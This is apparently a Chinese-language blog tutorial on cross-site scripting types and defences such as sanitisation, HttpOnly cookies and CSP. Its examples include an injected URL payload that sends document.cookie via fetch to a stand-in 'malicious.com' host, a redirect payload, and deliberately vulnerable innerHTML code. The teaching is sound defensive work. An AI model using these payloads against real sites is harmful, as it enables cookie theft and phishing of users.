XSS (Cross-site scripting)
XSS 的情境是將惡意程式碼/html注入到網頁端,可以進而達到偷取 cookies、惡意導向網頁、惡意執行API等。
XSS 分幾種方式:
- Non-persistent (reflected)
- Persistent (or stored)
- Server-side versus DOM-based vulnerabilities
- Self-XSS
- Mutated XSS (mXSS)
有個核心原則是
永遠不要相信使用者的輸入
來針對情境說明:
Non-persistent (reflected)
若今天有網頁是想透過 search query 去呈現某個節點的 innerHtml:
<h1 id="post-id"></h1>
const postIdElem = document.getElementById("post-id");
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
postIdElem.innerHTML = urlParams.get("id");
這樣會發生什麼事情呢? 若今天的 url 為 https://domain.com?id=1
,網頁會長得像<h1>1</h1>
那很正常,但若是: https://domain.com??id=<img%20src="abc"%20onerror='top.location="https://malicious.com"'/>
那使用者一進到網頁就會被直接導向惡意網站,如果今天是發生在PayPal,而惡意網站是模仿PayPal的登入頁面,而你以為這還是正常網頁,只是被登出了,你很自然地輸入帳號密碼,那駭客就會知道你的PayPal帳號密碼,進而擅自操作你的帳戶。當然PayPal不會發生這種事,況且真發生這種事還有2FA擋。
或是,今天不是做網頁導向,做送出API:
https://domain.com?id=<img%20src="abc"%20onerror="fetch(%27http://malicious.com/steal-cookies?cookies=%27%2bdocument.cookie)"/>
這樣就會把cookie送到 http://malicious.com/steal-cookies
。
Persistent (or stored)
若今天不是透過 search query 去塞字串,而是透過與後端溝通拿取資料庫的資料:
const postIdElem = document.getElementById("post-id");
const postId = urlParams.get("id");
fetch(`/post?id=${postId}`, {
method: "GET"
})
.then(res => res.json())
.then((data) => {
postIdElem.innerHTML = data.data;
})
若是今天將 post 裡的 data 改成以上的例子,也會發生一樣的事。
今天不只可以塞 html字串,也可以在 a tag 裡做到 javascript code: <a href="javascript:alert(1)">my website</a>
,因此我們盡可能地不要去相信使用者所打的內容。
防禦
防止惡意字串
前端
- 將存在容易造成XSS的字串篩選掉,或是使用xss相關的package將字串或是整個html做sanitizer
- 避免使用innerHtml,在React我們也會發現官方把這個方法加了prefix做提醒:
dangerouslySetInnerHTML
- 針對每個input的type做嚴格控管
後端
- 將會存進資料庫做xss的sanitizer,可以使用package
防止cookie被偷取
上面有範例是透過 document.cookie
傳到惡意endpoint,可以將cookie設為HttpOnly防止可以這樣access到cookie
Content Security Policy (CSP)
規範會與外部溝通的element的來源,像是font, img, frame, media等: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
行為控管
將轉帳、更改密碼等行為做2FA,確認是本人所為。
框架可能會做八九成的阻擋,但還是會存在漏洞,過去幾年都不段發生 XSS 或是 SQL Injection 相關的資安危機,因此要注意每個塞值的行為,防止被塞到惡意的值。
框架可能會做八九成的阻擋,但還是會存在漏洞,過去幾年都不段發生 XSS 或是 SQL Injection 相關的資安危機,因此要注意每個塞值的行為,防止被塞到惡意的值。
References:
Originally published at https://www.randy-liu.com.